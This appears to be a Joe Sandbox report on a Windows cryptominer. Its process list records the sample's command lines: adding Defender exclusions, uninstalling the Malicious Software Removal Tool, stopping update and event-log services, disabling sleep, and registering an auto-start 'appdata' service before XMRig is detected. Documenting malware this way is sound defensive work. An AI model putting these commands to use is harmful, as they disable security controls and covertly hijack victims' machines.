Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:35:49
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff79f6e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff781670000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff755750000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff755750000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff755750000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff755750000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe delete "appdata"
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe create "appdata" binpath= "C:\ProgramData\win32\svhost.exe" start= "auto"
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	10:36:01
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	10:36:02
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop eventlog
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	10:36:02
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe start "appdata"
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	10:36:02
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	10:36:02
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	10:36:02
Start date:	26/10/2024
Path:	C:\ProgramData\win32\svhost.exe
Wow64 process (32bit):	false
Commandline:	C:\ProgramData\win32\svhost.exe
Imagebase:	0x7ff7e32f0000
File size:	2'663'424 bytes
MD5 hash:	D3ADC3EC7B76556B7FAC591C33F31EA9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 74%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	10:36:02
Start date:	26/10/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	10:36:02
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	10:36:12
Start date:	26/10/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff79f6e0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	10:36:12
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop UsoSvc
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	10:36:12
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	10:36:12
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	10:36:12
Start date:	26/10/2024
Path:	C:\Windows\System32\wusa.exe
Wow64 process (32bit):	false
Commandline:	wusa /uninstall /kb:890830 /quiet /norestart
Imagebase:	0x7ff781670000
File size:	345'088 bytes
MD5 hash:	FBDA2B8987895780375FE0E6254F6198
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	10:36:12
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop WaaSMedicSvc
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	10:36:12
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop wuauserv
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop bits
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\sc.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\sc.exe stop dosvc
Imagebase:	0x7ff792a20000
File size:	72'192 bytes
MD5 hash:	3FB5CF71F7E7EB49790CB0E663434D80
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	51
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
Imagebase:	0x7ff755750000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	52
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
Imagebase:	0x7ff755750000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	53
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	54
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
Imagebase:	0x7ff755750000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	55
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	56
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\powercfg.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
Imagebase:	0x7ff755750000
File size:	96'256 bytes
MD5 hash:	9CA38BE255FFF57A92BD6FBF8052B705
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	57
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	58
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Target ID:	59
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	60
Start time:	10:36:13
Start date:	26/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	svchost.exe
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 0000003C.00000002.3902418853.0000000140001000.00000040.00000001.00020000.00000000.sdmp, Author: unknown
Has exited:	false

Show Windows behavior

Target ID:	62
Start time:	10:36:30
Start date:	26/10/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	4.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	23.4%
Total number of Nodes:	192
Total number of Limit Nodes:	2

Executed Functions

Function 00007FF6F1FB118B Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 108
sleepstringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 00007FF6F1FB11A5
_amsg_exit.MSVCRT ref: 00007FF6F1FB11CC
_initterm.MSVCRT ref: 00007FF6F1FB120F
SetUnhandledExceptionFilter.KERNEL32(?,?,?,00007FF6F1FB1156), ref: 00007FF6F1FB124E
malloc.MSVCRT ref: 00007FF6F1FB127E
strlen.MSVCRT ref: 00007FF6F1FB12A4
malloc.MSVCRT ref: 00007FF6F1FB12B0
memcpy.MSVCRT ref: 00007FF6F1FB12C3
_cexit.MSVCRT ref: 00007FF6F1FB132D

Strings

&, xrefs: 00007FF6F1FB1265
;*, xrefs: 00007FF6F1FB1310

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff6f1fb0000_prog.jbxd

Similarity

API ID: malloc$ExceptionFilterSleepUnhandled_amsg_exit_cexit_inittermmemcpystrlen
String ID: &$;*
API String ID: 2643109117-510990765
Opcode ID: f214d2cb23ad4a7d8a6f2e16a4dc08a5006247cdfdc4fc33eaf7806aa3e5334d
Instruction ID: 73f04081b0114d3efbb2d9ac781ebff4844a0c18635b3e3613e21737ebfda6cd
Opcode Fuzzy Hash: f214d2cb23ad4a7d8a6f2e16a4dc08a5006247cdfdc4fc33eaf7806aa3e5334d
Instruction Fuzzy Hash: EF41F131E1E64785FB10EB15E95527923E5BF897E8F445031CAADC37E2FF6CA8418610

Function 00007FF6F1FB1394 Relevance: 1.5, APIs: 1, Instructions: 24
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCloseObjectAuditAlarm.NTDLL(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF6F1FB1156), ref: 00007FF6F1FB13F7

Memory Dump Source

Source File: 00000000.00000002.2224666564.00007FF6F1FB1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF6F1FB0000, based on PE: true

Associated: 00000000.00000002.2224627275.00007FF6F1FB0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224693790.00007FF6F1FBB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224717932.00007FF6F1FBE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2224744703.00007FF6F1FBF000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225019999.00007FF6F223B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225045686.00007FF6F223D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2225066265.00007FF6F2240000.00000002.00000001.01000000.00000003.sdmpDownload File

